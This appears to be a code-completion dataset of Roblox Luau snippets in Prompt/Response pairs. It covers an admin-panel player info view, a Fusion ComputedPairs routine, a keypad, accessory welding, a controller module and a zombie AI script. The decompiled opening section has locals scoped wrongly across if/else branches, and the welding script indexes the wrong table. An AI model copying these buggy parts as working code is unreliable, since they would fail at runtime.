	local u6 = 0;
	local u7 = 0;
	local l__client__8 = client;
	local l__Routine__9 = Routine;
	Routine(function()
		for v31, v32 in u2(u3) do
			table.insert(u4, v31.Username);
			u5[v31.Username] = {
				id = v31.Id,
				displayName = v31.DisplayName,
				isOnline = v31.IsOnline
			};
			if v31.IsOnline then
				u6 = u6 + 1;
			end;
			u7 = u7 + 1;
		end;
		table.sort(u4);
		local v33 = v6:Add("TextBox", {
			Size = UDim2.new(1, -10, 0, 25),
			Position = UDim2.new(0, 5, 0, 5),
			BackgroundTransparency = 0.5,
			PlaceholderText = ("Search %d friends (%d online)"):format(u7, u6),
			Text = "",
			TextStrokeTransparency = 0.8
		});
		v33:Add("ImageLabel", {
			Image = l__client__8.MatIcons.Search,
			Position = UDim2.new(1, -21, 0, 3),
			Size = UDim2.new(0, 18, 0, 18),
			ImageTransparency = 0.2,
			BackgroundTransparency = 1
		});
		local u10 = v6:Add("ScrollingFrame", {
			List = {},
			ScrollBarThickness = 2,
			BackgroundTransparency = 1,
			Position = UDim2.new(0, 5, 0, 35),
			Size = UDim2.new(1, -10, 1, -40)
		});
		local function v34()
			u10:ClearAllChildren();
			local v35 = 1;
			for v36, v37 in ipairs(u4) do
				local v38 = u5[v37];
				if v37:sub(1, #v33.Text):lower() == v33.Text:lower() or v38.displayName:sub(1, #v33.Text):lower() == v33.Text:lower() then
					if v37 == v38.displayName then
						local v39 = v37;
					else
						v39 = v38.displayName .. " (@" .. v37 .. ")";
					end;
					local v40 = {
						Text = "             " .. v39,
						ToolTip = "User ID: " .. v38.id
					};
					if (v35 - 1) % 2 == 0 then
						local v41 = 0;
					else
						v41 = 0.2;
					end;
					v40.BackgroundTransparency = v41;
					v40.Size = UDim2.new(1, 0, 0, 30);
					v40.Position = UDim2.new(0, 0, 0, 30 * (v35 - 1));
					v40.TextXAlignment = "Left";
					local v42 = u10:Add("TextLabel", v40);
					if v38.isOnline then
						v42:Add("TextLabel", {
							Text = "Online",
							BackgroundTransparency = 1,
							Size = UDim2.new(0, 120, 1, 0),
							Position = UDim2.new(1, -130, 0, 0),
							TextXAlignment = "Right"
						});
					end;
					l__Routine__9(function()
						v42:Add("ImageLabel", {
							Image = l__Service__1.Players:GetUserThumbnailAsync(v38.id, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size48x48),
							BackgroundTransparency = 1,
							Size = UDim2.new(0, 30, 0, 30),
							Position = UDim2.new(0, 0, 0, 0)
						});
					end);
					v35 = v35 + 1;
				end;
			end;
			u10:ResizeCanvas(false, true, false, false, 5, 5);
		end;
		v33:GetPropertyChangedSignal("Text"):Connect(v34);
		v34();
	end);
	u2 = {};
	u3 = {};
	u4 = 0;
	u5 = 0;
	for v43, v44 in pairs(l__Service__1.GroupService:GetGroupsAsync(l__Target__2.UserId) or {}) do
		l__Routine__9(l__Service__1.ContentProvider.PreloadAsync, l__Service__1.ContentProvider, { v44.EmblemUrl });
		table.insert(u2, v44.Name);
		u3[v44.Name] = v44;
		u4 = u4 + 1;
		if v44.Rank == 255 then
			u5 = u5 + 1;
		end;
	end;
	table.sort(u2);
	local v45 = {
		Size = UDim2.new(1, -10, 0, 25),
		Position = UDim2.new(0, 5, 0, 5),
		BackgroundTransparency = 0.5
	};
	if u4 ~= 1 then
		local v46 = "s";
	else
		v46 = "";
	end;
	v45.PlaceholderText = ("Search %d group%s (%d owned)"):format(u4, v46, u5);
	v45.Text = "";
	v45.TextStrokeTransparency = 0.8;
	local v47 = v7:Add("TextBox", v45);
	v47:Add("ImageLabel", {
		Image = l__client__8.MatIcons.Search,
		Position = UDim2.new(1, -21, 0, 3),
		Size = UDim2.new(0, 18, 0, 18),
		ImageTransparency = 0.2,
		BackgroundTransparency = 1
	});
	local u11 = v7:Add("ScrollingFrame", {
		List = {},
		ScrollBarThickness = 2,
		BackgroundTransparency = 1,
		Position = UDim2.new(0, 5, 0, 35),
		Size = UDim2.new(1, -10, 1, -40)
	});
	local u12 = v47;
	local function v48()
		u11:ClearAllChildren();
		local v49 = 1;
		for v50, v51 in ipairs(u2) do
			local v52 = u3[v51];
			if v51:sub(1, #u12.Text):lower() == u12.Text:lower() or v52.Role:sub(1, #u12.Text):lower() == u12.Text:lower() then
				local v53 = nil;
				local v54 = {
					Text = ""
				};
				if v52.IsPrimary then
					local v55 = "Primary Group | ";
				else
					v55 = "";
				end;
				if v52.Rank == 255 then
					local v56 = " (Owner)";
				else
					v56 = "";
				end;
				v54.ToolTip = string.format("%sID: %d | Rank: %d%s", v55, v52.Id, v52.Rank, v56);
				if (v49 - 1) % 2 == 0 then
					local v57 = 0;
				else
					v57 = 0.2;
				end;
				v54.BackgroundTransparency = v57;
				v54.Size = UDim2.new(1, -10, 0, 30);
				v54.Position = UDim2.new(0, 5, 0, 30 * (v49 - 1));
				v54.TextXAlignment = "Left";
				local v58 = u11:Add("TextLabel", v54);
				v53 = v58:Add("TextLabel", {
					Text = v51,
					BackgroundTransparency = 1,
					Size = UDim2.new(1, -50 - v58:Add("TextLabel", {
						Text = v52.Role,
						BackgroundTransparency = 1,
						Size = UDim2.new(0, 0, 1, 0),
						Position = UDim2.new(1, -10, 0, 0),
						ClipsDescendants = false,
						TextXAlignment = "Right"
					}).TextBounds.X, 1, 0),
					Position = UDim2.new(0, 36, 0, 0),
					TextXAlignment = "Left",
					TextTruncate = "AtEnd"
				});
				if v52.IsPrimary then
					v53.TextColor3 = Color3.new(0.666667, 1, 1);
				elseif v52.Rank >= 255 then
					v53.TextColor3 = Color3.new(1, 1, 0.5);
				end;
				l__Routine__9(function()
					v58:Add("ImageLabel", {
						Image = v52.EmblemUrl,
						BackgroundTransparency = 1,
						Size = UDim2.new(0, 30, 0, 30),
						Position = UDim2.new(0, 0, 0, 0)
					});
				end);
				v49 = v49 + 1;
			end;
		end;
		u11:ResizeCanvas(false, true, false, false, 5, 5);
	end;
	u12:GetPropertyChangedSignal("Text"):Connect(v48);
	v48();
	u2 = p2.GameData;
	if not u2 then
		u3 = v8;
		u2 = v8.Disable;
		u2(u3);
		return;
	end;
	u2 = {};
	u3 = {};
	u4 = "Admin Level";
	u12 = p2.GameData;
	u5 = u12.AdminLevel;
	u12 = "The player's Adonis rank";
	u3[1] = u4;
	u3[2] = u5;
	u3[3] = u12;
	u4 = {};
	u5 = "Muted";
	u12 = u1;
	u11 = p2.GameData.IsMuted;
	u12 = u12(u11);
	u11 = "Is the player muted? (IGNORES TRELLO MUTELIST)";
	u4[1] = u5;
	u4[2] = u12;
	u4[3] = u11;
	u5 = {};
	u12 = "Auto Jump Enabled";
	u11 = u1;
	u11 = u11(l__Target__2.AutoJumpEnabled);
	u5[1] = u12;
	u5[2] = u11;
	u5[3] = "Does the player have auto jump enabled?";
	u12 = {};
	u11 = "Camera Max Zoom Distance";
	u12[1] = u11;
	u12[2] = l__Target__2.CameraMaxZoomDistance;
	u12[3] = "How far in studs the player can zoom out their camera";
	u11 = { "Camera Min Zoom Distance", l__Target__2.CameraMinZoomDistance, "How close in studs the player can zoom in their camera" };
	u2[1] = u3;
	u2[2] = u4;
	u2[3] = u5;
	u2[4] = u12;
	u2[5] = u11;
	u2[6] = { "Accelerometer Enabled", u1(p2.GameData.AccelerometerEnabled), "Whether the user\226\128\153s device has an accelerometer" };
	u2[7] = { "Gamepad Enabled", u1(p2.GameData.GamepadEnabled), "Whether the user's device has an available gamepad" };
	u2[8] = { "Gyroscope Enabled", u1(p2.GameData.GyroscopeEnabled), "Whether the user\226\128\153s device has a gyroscope" };
	u2[9] = { "Keyboard Enabled", u1(p2.GameData.KeyboardEnabled), "Whether the user\226\128\153s device has a keyboard available" };
	u2[10] = { "Mouse Delta Sensitivity", p2.GameData.MouseDeltaSensitivity, "The scale of the delta (change) output of the user\226\128\153s Mouse" };
	u2[11] = { "Mouse Enabled", u1(p2.GameData.MouseEnabled), "Whether the user\226\128\153s device has a mouse available" };
	u2[12] = { "Touch Enabled", u1(p2.GameData.TouchEnabled), "Whether the user\226\128\153s current device has a touch-screen available" };
	u2[13] = { "VR Enabled", u1(p2.GameData.VREnabled), "Whether the user is using a virtual reality headset" };
	u2[14] = { "Source Place ID", p2.GameData.SourcePlaceId, "The ID of the place from which the player was teleported to this game, if applicable" };
	u3 = 1;
	u4 = ipairs;
	u5 = u2;
	u4, u5, u12 = u4(u5);
	while true do
		u11 = u4;
		u11, v59 = u11(u5, u12);
		if not u11 then
			break;
		end;
		u12 = u11;
		local v60 = {
			Text = "  " .. v59[1] .. ": ",
			ToolTip = v59[3]
		};
		if u3 % 2 == 0 then
			local v61 = 0;
		else
			v61 = 0.2;
		end;
		v60.BackgroundTransparency = v61;
		v60.Size = UDim2.new(1, -10, 0, 25);
		v60.Position = UDim2.new(0, 5, 0, 25 * (u3 - 1) + 5);
		v60.TextXAlignment = "Left";
		local v62 = v8:Add("TextLabel", v60):Add("TextLabel", {
			Text = v59[2],
			BackgroundTransparency = 1,
			Size = UDim2.new(0, 120, 1, 0),
			Position = UDim2.new(1, -130, 0, 0),
			TextXAlignment = "Right"
		});
		u3 = u3 + 1;
	end;
	u12 = "TextButton";
	u11 = {
		Text = "View Tools",
		ToolTip = string.format("%sviewtools%s%s", p2.CmdPrefix, p2.CmdSplitKey, l__Target__2.Name)
	};
	if u3 % 2 == 0 then
		local v63 = 0;
	else
		v63 = 0.2;
	end;
	u11.BackgroundTransparency = v63;
	u11.Size = UDim2.new(1, -10, 0, 30);
	u11.Position = UDim2.new(0, 5, 0, 25 * (u3 - 1) + 10);
	function u11.OnClicked(p4)
		if p4.Active then
			p4.Active = false;
			p4.AutoButtonColor = false;
			l__client__8.Remote.Send("ProcessCommand", string.format("%sviewtools%s%s", p2.CmdPrefix, p2.CmdSplitKey, l__Target__2.Name));
			wait(2);
			p4.AutoButtonColor = true;
			p4.Active = true;
		end;
	end;
	u5 = v8;
	u4 = v8.Add;
	u4(u5, u12, u11);
	u12 = false;
	u11 = true;
	u5 = v8;
	u4 = v8.ResizeCanvas;
	u4(u5, u12, u11, false, false, 5, 5);
end;


Prompt:
--[[
	Called when the original table is changed.

	This will firstly find any keys meeting any of the following criteria:

	- they were not previously present
	- their associated value has changed
	- a dependency used during generation of this value has changed

	It will recalculate those key/value pairs, storing information about any
	dependencies used in the processor callback during value generation, and
	save the new value to the output array. If it is overwriting an older value,
	that older value will be passed to the destructor for cleanup.

	Finally, this function will find keys that are no longer present, and remove
	their values from the output table and pass them to the destructor.

]]

Response:
function class:update()
	local inputIsState = self._inputIsState
	local oldInput = self._oldInputTable
	local newInput = self._inputTable
	local oldOutput = self._oldOutputTable
	local newOutput = self._outputTable

	if inputIsState then
		newInput = newInput:get(false)
	end

	local didChange = false

	-- clean out main dependency set
	for dependency in pairs(self.dependencySet) do
		dependency.dependentSet[self] = nil
	end
	self._oldDependencySet, self.dependencySet = self.dependencySet, self._oldDependencySet
	table.clear(self.dependencySet)

	-- if the input table is a state object, add as dependency
	if inputIsState then
		self._inputTable.dependentSet[self] = true
		self.dependencySet[self._inputTable] = true
	end

	-- STEP 1: find keys that changed value or were not previously present

	for key, newInValue in pairs(newInput) do
		-- get or create key data
		local keyData = self._keyData[key]
		if keyData == nil then
			keyData = {
				-- we don't need strong references here - the main set does that
				-- for us, so let's not introduce unnecessary leak opportunities
				dependencySet = setmetatable({}, WEAK_KEYS_METATABLE),
				oldDependencySet = setmetatable({}, WEAK_KEYS_METATABLE),
				dependencyValues = setmetatable({}, WEAK_KEYS_METATABLE)
			}
			self._keyData[key] = keyData
		end

		-- if this value is either new or different, we should recalculate it
		local shouldRecalculate = oldInput[key] ~= newInValue

		if not shouldRecalculate then
			-- check if dependencies have changed
			for dependency, oldValue in pairs(keyData.dependencyValues) do
				-- if the dependency changed value, then this needs recalculating
				if oldValue ~= dependency:get(false) then
					shouldRecalculate = true
					break
				end
			end
		end

		-- if we should recalculate the value by this point, do that
		if shouldRecalculate then
			keyData.oldDependencySet, keyData.dependencySet = keyData.dependencySet, keyData.oldDependencySet
			table.clear(keyData.dependencySet)

			local oldOutValue = oldOutput[key]
			local processOK, newOutValue = captureDependencies(keyData.dependencySet, self._processor, key, newInValue)

			if processOK then
				-- if the calculated value has changed
				if oldOutValue ~= newOutValue then
					didChange = true

					-- clean up the old calculated value
					if oldOutValue ~= nil then
						local destructOK, err = xpcall(self._destructor, parseError, oldOutValue)
						if not destructOK then
							logErrorNonFatal("pairsDestructorError", err)
						end
					end
				end

				-- make the old input match the new input
				oldInput[key] = newInValue
				-- store the new output value for next time we run the output comparison
				oldOutput[key] = newOutValue
				-- store the new output value in the table we give to the user
				newOutput[key] = newOutValue
			else
				-- restore old dependencies, because the new dependencies may be corrupt
				keyData.oldDependencySet, keyData.dependencySet = keyData.dependencySet, keyData.oldDependencySet

				logErrorNonFatal("pairsProcessorError", newOutValue)
			end
		end

		-- save dependency values and add to main dependency set
		for dependency in pairs(keyData.dependencySet) do
			keyData.dependencyValues[dependency] = dependency:get(false)

			self.dependencySet[dependency] = true
			dependency.dependentSet[self] = true
		end
	end

	-- STEP 2: find keys that were removed

	for key in pairs(oldInput) do
		-- if this key doesn't have an equivalent in the new input table
		if newInput[key] == nil then
			-- clean up the old calculated value
			local oldOutValue = oldOutput[key]
			if oldOutValue ~= nil then
				local destructOK, err = xpcall(self._destructor, parseError, oldOutValue)
				if not destructOK then
					logErrorNonFatal("pairsDestructorError", err)
				end
			end

			-- make the old input match the new input
			oldInput[key] = nil
			-- remove the reference to the old output value
			oldOutput[key] = nil
			-- remove the value from the table we give to the user
			newOutput[key] = nil
			-- remove key data
			self._keyData[key] = nil
		end
	end

	return didChange
end

local function ComputedPairs(
	inputTable: Types.StateOrValue<{[any]: any}>,
	processor: (any) -> any,
	destructor: (any) -> ()?
)
	-- if destructor function is not defined, use the default cleanup function
	if destructor == nil then
		destructor = cleanup
	end

	local inputIsState = inputTable.type == "State" and typeof(inputTable.get) == "function"

	local self = setmetatable({
		type = "State",
		kind = "ComputedPairs",
		dependencySet = {},
		-- if we held strong references to the dependents, then they wouldn't be
		-- able to get garbage collected when they fall out of scope
		dependentSet = setmetatable({}, WEAK_KEYS_METATABLE),
		_oldDependencySet = {},

		_processor = processor,
		_destructor = destructor,
		_inputIsState = inputIsState,

		_inputTable = inputTable,
		_oldInputTable = {},
		_outputTable = {},
		_oldOutputTable = {},
		_keyData = {}
	}, CLASS_METATABLE)

	initDependency(self)
	self:update()

	return self
end

return ComputedPairs


Prompt:
------------------------------------------
--Digets

Response:
function Click0()
Input = Input..0
print("0")
script.Parent.B0.Decal.Texture = "http://www.roblox.com/asset/?id=2767674"
wait(0.1)
script.Parent.B0.Decal.Texture = "http://www.roblox.com/asset/?id=2761903"
end

script.Parent.B0.ClickDetector.MouseClick:connect(Click0)

function Click1()
Input = Input..1
print("1")
script.Parent.B1.Decal.Texture = "http://www.roblox.com/asset/?id=2767677"
wait(0.1)
script.Parent.B1.Decal.Texture = "http://www.roblox.com/asset/?id=2761913"
end

script.Parent.B1.ClickDetector.MouseClick:connect(Click1)

function Click2()
Input = Input..2
print("2")
script.Parent.B2.Decal.Texture = "http://www.roblox.com/asset/?id=2767680"
wait(0.1)
script.Parent.B2.Decal.Texture = "http://www.roblox.com/asset/?id=2761922"
end

script.Parent.B2.ClickDetector.MouseClick:connect(Click2)

function Click3()
Input = Input..3
print("3")
script.Parent.B3.Decal.Texture = "http://www.roblox.com/asset/?id=2767686"
wait(0.1)
script.Parent.B3.Decal.Texture = "http://www.roblox.com/asset/?id=2761927"
end

script.Parent.B3.ClickDetector.MouseClick:connect(Click3)

function Click4()
Input = Input..4
print("4")
script.Parent.B4.Decal.Texture = "http://www.roblox.com/asset/?id=2767693"
wait(0.1)
script.Parent.B4.Decal.Texture = "http://www.roblox.com/asset/?id=2761938"
end

script.Parent.B4.ClickDetector.MouseClick:connect(Click4)

function Click5()
Input = Input..5
print("5")
script.Parent.B5.Decal.Texture = "http://www.roblox.com/asset/?id=2767695"
wait(0.1)
script.Parent.B5.Decal.Texture = "http://www.roblox.com/asset/?id=2761943"
end

script.Parent.B5.ClickDetector.MouseClick:connect(Click5)

function Click6()
Input = Input..6
print("6")
script.Parent.B6.Decal.Texture = "http://www.roblox.com/asset/?id=2767699"
wait(0.1)
script.Parent.B6.Decal.Texture = "http://www.roblox.com/asset/?id=2761948"
end

script.Parent.B6.ClickDetector.MouseClick:connect(Click6)

function Click7()
Input = Input..7
print("7")
script.Parent.B7.Decal.Texture = "http://www.roblox.com/asset/?id=2767701"
wait(0.1)
script.Parent.B7.Decal.Texture = "http://www.roblox.com/asset/?id=2761956"
end

script.Parent.B7.ClickDetector.MouseClick:connect(Click7)

function Click8()
Input = Input..8
print("8")
script.Parent.B8.Decal.Texture = "http://www.roblox.com/asset/?id=2767707"
wait(0.1)
script.Parent.B8.Decal.Texture = "http://www.roblox.com/asset/?id=2761961"
end

script.Parent.B8.ClickDetector.MouseClick:connect(Click8)

function Click9()
Input = Input..9
print("9")
script.Parent.B9.Decal.Texture = "http://www.roblox.com/asset/?id=2767714"
wait(0.1)
script.Parent.B9.Decal.Texture = "http://www.roblox.com/asset/?id=2761971"
end

script.Parent.B9.ClickDetector.MouseClick:connect(Click9)


Prompt: -- Determine whether we're in tool or plugin mode

Response:
if Tool:IsA 'Tool' then
	ToolMode = 'Tool';
elseif Tool:IsA 'Model' then
	ToolMode = 'Plugin';
end;


Prompt:
-- I have seen this script so many times in many free models that
-- I don't know who made this in the first place, I just modified
-- some parts of the script to serve my purposes.

Response:
function onClicked(hit)
    print(hit.Name)
    print(hit.Parent.Name)
	if hit.Character:findFirstChild("Humanoid") ~= nil and hit.Character:findFirstChild("Chest") == nil then
		local g = script.Parent.Parent.Chest:clone()
		g.Parent = hit.Character
		local C = g:GetChildren()
		for i=1, #C do
			if C[i].className == "Part" or C[i].className == "UnionOperation" or  C[i].className == "MeshPart" then
				local W = Instance.new("Weld")
				W.Part0 = g.Middle
				W.Part1 = C[i]
				local CJ = CFrame.new(g.Middle.Position)
				local C0 = g.Middle.CFrame:inverse()*CJ
				local C1 = C[i].CFrame:inverse()*CJ
				W.C0 = C0
				W.C1 = C1
				W.Parent = g.Middle
			end
				local Y = Instance.new("Weld")
				Y.Part0 = hit.Character.Torso
				Y.Part1 = g.Middle
				Y.C0 = CFrame.new(0, 0, 0)
				Y.Parent = Y.Part0
		end

		local h = g:GetChildren()
		for i = 1, # h do
			if h[i].className == "Part" or C[i].className == "UnionOperation"  or C[i].className == "MeshPart" then
				h[i].Anchored = false
				h[i].CanCollide = false
			end
		end

	end

	if hit.Character:findFirstChild("Humanoid") ~= nil and hit.Character:findFirstChild("Headgear") == nil then
		local g = script.Parent.Parent.Headgear:clone()
		g.Parent = hit.Character
		local C = g:GetChildren()
		for i=1, #C do
			if C[i].className == "Part" or C[i].className == "UnionOperation" or  C[i].className == "MeshPart" then
				local W = Instance.new("Weld")
				W.Part0 = g.Middle
				W.Part1 = C[i]
				local CJ = CFrame.new(g.Middle.Position)
				local C0 = g.Middle.CFrame:inverse()*CJ
				local C1 = C[i].CFrame:inverse()*CJ
				W.C0 = C0
				W.C1 = C1
				W.Parent = g.Middle
			end
				local Y = Instance.new("Weld")
				Y.Part0 = hit.Parent.Head
				Y.Part1 = g.Middle
				Y.C0 = CFrame.new(0, 0, 0)
				Y.Parent = Y.Part0
		end

		local h = g:GetChildren()
		for i = 1, # h do
			if h[i].className == "Part" or C[i].className == "UnionOperation" or  C[i].className == "MeshPart" then
				h[i].Anchored = false
				h[i].CanCollide = false
			end
		end

	end

end

script.Parent.ClickDetector.MouseClick:connect(onClicked)


Prompt:
-- This function should handle all controller enabling and disabling without relying on
-- ControlModule:Enable() and Disable()

Response:
function ControlModule:SwitchToController(controlModule)
	-- controlModule is invalid, just disable current controller
	if not controlModule then
		if self.activeController then
			self.activeController:Enable(false)
		end
		self.activeController = nil
		self.activeControlModule = nil
		return
	end

	-- first time switching to this control module, should instantiate it
	if not self.controllers[controlModule] then
		self.controllers[controlModule] = controlModule.new(CONTROL_ACTION_PRIORITY)
	end

	-- switch to the new controlModule
	if self.activeController ~= self.controllers[controlModule] then
		if self.activeController then
			self.activeController:Enable(false)
		end
		self.activeController = self.controllers[controlModule]
		self.activeControlModule = controlModule -- Only used to check if controller switch is necessary

		if self.touchControlFrame and (self.activeControlModule == ClickToMove
					or self.activeControlModule == TouchThumbstick
					or self.activeControlModule == DynamicThumbstick) then
			if not self.controllers[TouchJump] then
				self.controllers[TouchJump] = TouchJump.new()
			end
			self.touchJumpController = self.controllers[TouchJump]
			self.touchJumpController:Enable(true, self.touchControlFrame)
		else
			if self.touchJumpController then
				self.touchJumpController:Enable(false)
			end
		end

		self:UpdateActiveControlModuleEnabled()
	end
end

function ControlModule:OnLastInputTypeChanged(newLastInputType)
	if lastInputType == newLastInputType then
		warn("LastInputType Change listener called with current type.")
	end
	lastInputType = newLastInputType

	if lastInputType == Enum.UserInputType.Touch then
		-- TODO: Check if touch module already active
		local touchModule, success = self:SelectTouchModule()
		if success then
			while not self.touchControlFrame do
				wait()
			end
			self:SwitchToController(touchModule)
		end
	elseif computerInputTypeToModuleMap[lastInputType] ~= nil then
		local computerModule = self:SelectComputerMovementModule()
		if computerModule then
			self:SwitchToController(computerModule)
		end
	end

	self:UpdateTouchGuiVisibility()
end


Prompt: --//Arms\\--

Response:
owner=script.Parent.Parent.Name
local cantouch

function onTouched(part)
	if part.Parent ~= nil then
		local h = part.Parent:findFirstChild("Humanoid")
		if h and h.Name~="Zombie" and h.Parent:findFirstChild("Torso") then
			h.Name="Zombie"
			if not game.Players:GetPlayerFromCharacter(h.Parent) then
				h.Parent.Name="Zombie"
			end
			if h.Parent.Name~=owner then
				if h.Parent:findFirstChild("zarm")~=nil then return end
				cantouch=0
				local larm=h.Parent:findFirstChild("Left Arm")
				local rarm=h.Parent:findFirstChild("Right Arm")
				if larm~=nil then
					larm:remove()
				end
				if rarm~=nil then
					rarm:remove()
				end
				local zee=Instance.new("Part", workspace)
				zee.Size=Vector3.new(1,2,1)
				zee.Color=Color3.fromRGB(161, 196, 140)
				zee.TopSurface=Enum.SurfaceType.Smooth
				zee.BottomSurface=Enum.SurfaceType.Smooth
				zee.Name="Left Arm"
				if zee~=nil then
					local zlarm=zee
					local zrarm=zee:clone()
					zrarm.Name="Right Arm"
					if zlarm~=nil then
						local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)*CFrame.Angles(1.6,0,1.5)
						zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
						zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
						zlarm.Parent=h.Parent
						zrarm.Parent=h.Parent
						local Ef=Instance.new("WeldConstraint",	zrarm)
						Ef.Enabled=false
						Ef.Part0=zrarm
						Ef.Part1=h.Parent.Torso
						Ef.Enabled=true
						Ef=Instance.new("WeldConstraint", zlarm)
						Ef.Enabled=false
						Ef.Part0=zlarm
						Ef.Part1=h.Parent.Torso
						Ef.Enabled=true
						Ef=nil
						zlarm.Anchored=false
						zrarm.Anchored=false
						for i,v in pairs(h.Parent:GetDescendants()) do
							if v:IsA("Script") then
								v.Disabled=true
								v:Destroy()
							elseif v:IsA("Tool") or v:IsA("BodyPosition") or v:IsA("BodyGyro") then
								v:Destroy()
							end
							local ZombieAI=script:Clone()
							ZombieAI.Disabled=true
							ZombieAI.Parent=h.Parent
							delay(0.2, function()
								ZombieAI.Disabled=false
							end)
						end
						wait(0.1)
						h.Parent.Head.Color=zee.Color
					else return end
				end
				wait(1)
				cantouch=1
			end
		end
	end
end

do -- Set Arms --
	do
		local c=script.Parent:GetChildren()
		for i=1,#c do
			if c[i].Name:lower():find("arm") then
				c[i].Touched:Connect(onTouched)
			end
		end
	end
	f=script.Parent.ChildAdded:Connect(function(v)
		if v.Name:lower():find("arm") then
			v.Touched:Connect(onTouched)
		end
	end)
	task.delay(1,function()
		if f then f:Disconnect() end
	end)
end

if not Player then
	if script.Parent.Config:WaitForChild("AntiExploit").Value==true then
		script.Parent:FindFirstChildOfClass("Part"):SetNetworkOwner(nil)
	end
	Sight=script.Parent.Config:WaitForChild("Sight")

	garbage={}
	do
		local stuff={}
		garbage.add=function(...)
			local stuf:any={...}
			for i=1,#stuf do
				table.insert(stuff,stuf[i])
			end
			table.clear(stuf)
			stuf=nil
		end
		garbage.nuke=function()
			for i=1,#stuff do
				local v=stuff[i]
				if typeof(v)=="RBXScriptConnection" then
					v:Disconnect()
					stuff[i]=nil
				elseif typeof(v)=="Instance" then
					pcall(game.Destroy,v)
					stuff[i]=nil
				elseif typeof(v)=="thread" then
					pcall(coroutine.yield,v)
					task.delay(5,function()
						pcall(coroutine.close,v)
						stuff[i]=nil
					end)
				elseif typeof(v)=="function" then
					v()
					stuff[i]=nil
				end
				v=nil
			end

		end
	end
	-- Better Model-list, Capable of finding ALL humanoid-models and removes them from memory on remove
	-- Greatly improved.
	local list
	do -- Creates a new Scope for the Humanoid List, to not clutter the global space.
		list={}
		local function parse_instance(inst) -- Parses an Instance to be set in the model.
			if inst:IsA("Humanoid") then -- Only goes through if it's a Humanoid.
				local model=inst.Parent -- Grabs the model.
				if model~=workspace then  -- Assures it isnt grabbing the workspace.
					table.insert(list,model) -- Inserts it into the list.
					local Connector -- Predefines Connector so it can be Disconnected.
					Connector=model.AncestryChanged:Connect(function() -- Created a Connection on AncestryChanged, so if the Humanoids ancestry is removed from Workspace, it nolonger see's them.
						if not model:IsDescendantOf(workspace) then -- Checks if not descendant of workspace.
							table.remove(list,table.find(model)) -- Removes the model from the list
							model,inst=nil,nil -- Clears all memory out, allowing garbage collection.
							Connector:Disconnect() -- Disconnects connector forever.
							Connector=nil; -- Finally removes Connector.
						end
					end)
				end
			end
		end

		do
			local a=workspace:GetDescendants() -- Gets all workspace descendants
			for i=1,#a do -- Uses a Numeric loop, since it's fastest.
				parse_instance(a[i])
			end
			table.clear(a)
			a=nil
		end
		garbage.add(function()
			list=nil
		end,workspace.DescendantAdded:Connect(parse_instance))
			--[[
	Unlike most methods of obtaining humanoids, this can safely obtain ALL humanoids without significant lag,
	most other methods involve looping through all workspace children, or descendants!
	This only loops once on startup, and relies on DescendantAdded thus resulting in less calls and if-statements.
	--]]
	end

	--//Functions\\--
	function FindNearestHumanoid() -- Circles through the "List" shown just above the function.
		local Closest=nil
		local ClosestBP=nil
		for i,v in pairs(list) do
			if v.Name=="Zombie" then --Removes players and zombies from list entirely.
				table.remove(list,i)
			end
			local PHumanoid = v:FindFirstChildOfClass("Humanoid")
			if PHumanoid and PHumanoid.Name~=Humanoid.Name then

				if not Closest or not ClosestBP then
					Closest=v
					ClosestBP=v:FindFirstChildOfClass("Part")
				elseif Closest and ClosestBP then
					local MaybeClosestsBP=v:FindFirstChildOfClass("Part")
					if MaybeClosestsBP and MaybeClosestsBP:IsA("BasePart") then
						if (ClosestBP.Position-larm.Position).Magnitude>(MaybeClosestsBP.Position-larm.Position).Magnitude then
							Closest=v
							ClosestBP=v:FindFirstChildOfClass("Part")
						end
					end
				end

			end
		end
		return Closest,ClosestBP
	end
	--//Alive\\--
	Alive=true
	garbage.add(Humanoid.Died:Connect(function()
		Alive=false
	end),Humanoid.AncestryChanged:Connect(function()
		if not Humanoid:IsDescendantOf(workspace) then
			Alive=false
		end
	end),script.Parent.ChildRemoved:Connect(function(E)
		if E==larm then
			larm=script.Parent:FindFirstChildOfClass("Part")
			if not larm and Humanoid then
				Humanoid.Health=0
				Alive=false
			else
				script.Parent:Destroy()
			end
		end
	end))

	while Alive do
		if larm then
			local Model,Part=FindNearestHumanoid()
			if Model and Part and (Part.Position-larm.Position).Magnitude<Sight.Value then
				Humanoid:MoveTo(Part.Position,Part)
			else
				Humanoid:MoveTo(larm.Position+Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20)))
			end
		end
		task.wait(math.random(1,10))
	end

	do
		local c=script.Parent:GetChildren()
		for i=1,#c do
			if c[i]~=script then
				c[i]:Destroy()
			end
		end
	end
	wait(5)
	script.Parent:Destroy()
end


Prompt:
--!nonstrict
--[[ Constants ]]

Response:
--
local ZERO_VECTOR3 = Vector3.new(0,0,0)
local TOUCH_CONTROLS_SHEET = "rbxasset://textures/ui/Input/TouchControlsSheetV2.png"

local DYNAMIC_THUMBSTICK_ACTION_NAME = "DynamicThumbstickAction"
local DYNAMIC_THUMBSTICK_ACTION_PRIORITY = Enum.ContextActionPriority.High.Value

local MIDDLE_TRANSPARENCIES = {
	1 - 0.89,
	1 - 0.70,
	1 - 0.60,
	1 - 0.50,
	1 - 0.40,
	1 - 0.30,
	1 - 0.25
}
local NUM_MIDDLE_IMAGES = #MIDDLE_TRANSPARENCIES

local FADE_IN_OUT_BACKGROUND = true
local FADE_IN_OUT_MAX_ALPHA = 0.35

local SAFE_AREA_INSET_MAX = 100

local FADE_IN_OUT_HALF_DURATION_DEFAULT = 0.3
local FADE_IN_OUT_BALANCE_DEFAULT = 0.5
local ThumbstickFadeTweenInfo = TweenInfo.new(0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut)

local Players = game:GetService("Players")
local GuiService = game:GetService("GuiService")
local UserInputService = game:GetService("UserInputService")
local ContextActionService = game:GetService("ContextActionService")
local RunService = game:GetService("RunService")
local TweenService = game:GetService("TweenService")

local FFlagUserDynamicThumbstickMoveOverButtons do
	local success, result = pcall(function()
		return UserSettings():IsUserFeatureEnabled("UserDynamicThumbstickMoveOverButtons2")
	end)
	FFlagUserDynamicThumbstickMoveOverButtons = success and result
end

local FFlagUserDynamicThumbstickSafeAreaUpdate do
	local success, result = pcall(function()
